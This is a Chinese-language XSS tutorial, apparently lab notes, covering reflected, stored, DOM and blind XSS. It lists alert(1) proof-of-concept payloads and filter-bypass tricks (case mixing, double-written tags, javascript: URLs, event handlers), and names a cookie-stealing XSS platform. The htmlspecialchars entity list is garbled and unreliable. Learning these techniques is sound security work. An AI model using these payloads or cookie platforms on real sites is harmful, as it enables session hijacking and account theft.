xss漏洞 （跨站脚本攻击）

一、XSS获取cookie平台

1、http://xsscom.com/

2、XSS平台-仅用于xss安全测试专用

复制代码

  输入复制的代码，再去xss平台即可查看到cookie

查看获取到的cookie 

二、xss触发方式 

出现弹窗就表示有xss漏洞，就可以利用其获取cookie ，这是需要构建相关的js脚本代码

（1）在标签外： 

<script>alert(1)</script> 

 （2）在标签内：

使用事件型：（先用引号闭合，看看是否有过滤如果有使用大小写试验）

（1）12' οnclick='alert(1)

在<a>标签内不能使用<script>标签，使用<img>标签

（2）123"><img src='1223' οnclick=alert(1)><"

标签内资源类型是url使用伪协议javascript:alert(1)   

（3）查看过滤方式

xss主要的点是要会看前端代码里的过滤方式， 右击网页页面点击检查，找到我们输入的内容，就可以看到哪些被过滤了。

三、XSS类型 

XSS中文叫做跨站脚本攻击（Cross-site scripting），本名应该缩写为CSS，但是由于CSS（Cascading Style Sheets，层叠样式脚本）重名，所以更名为XSS。

XSS（跨站脚本攻击）主要基于javascript（js）来完成恶意的攻击行为。

XSS是指恶意攻击者利用网站对用户提交的数据进行转义处理或者过滤不足的缺点，进而添加一些代码，嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。

XSS危害：

    1、盗取各类用户账户，如机器登录帐号、用户网银帐号、各类管理员帐号
    2、控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力
    3、盗窃企业重要的具有商业价值的资料
    4、非法转账
    5、强制发送电子邮件
    6、网站挂马
    7、控制受害者机器向其它网站发起攻击（重定向语句）
    8、窃取cookie
 

 （1）反射型xss(get/post)

1、  受害者访问攻击者构造的页面

2、  将攻击者构造的payload发送到后端，然后由后端再返回给前端

 <script>alert(1)</script>

（2）存储型xss 

将攻击者构造的恶意代码，存储到数据库中，并且在网站页面上自动执行代码。 

<script>alert(1)</script> 

（3）DOM型xss 

需要用户点击

数据不到后端，直接由前端js进行处理

123456' οnclick='alert(1)  

在<a>标签内不能使用<script>标签，使用<img>标签

123"><img src='1223' οnclick=alert(1)><"

使用伪协议javascript:alert(1)  

DOM型xss-x

123"><img src='1223' οnclick=alert(1)><" 

  xss：盲打

<script>alert(1)</script>

输入提示的路径

xss：过滤 

大小写绕过<sCript>alert(1)</scRipt> 

双写绕过123"><Scrscriptipt>alert(1)</sCrscriptipt> 

xss：htmlspecialchars  

htmlspecialchars转义特殊字符

&：转换为&

"：转换为"

'：转换为成为 '

<：转换为<

>：转换为>

12' οnclick='alert(1) 

使用伪协议javascript:alert(1)  

xss：href 

可以放置url

 使用伪协议

javascript:alert(1) 

xss：js 

闭合<script>标签：</script><script>alert(1)</script> <script>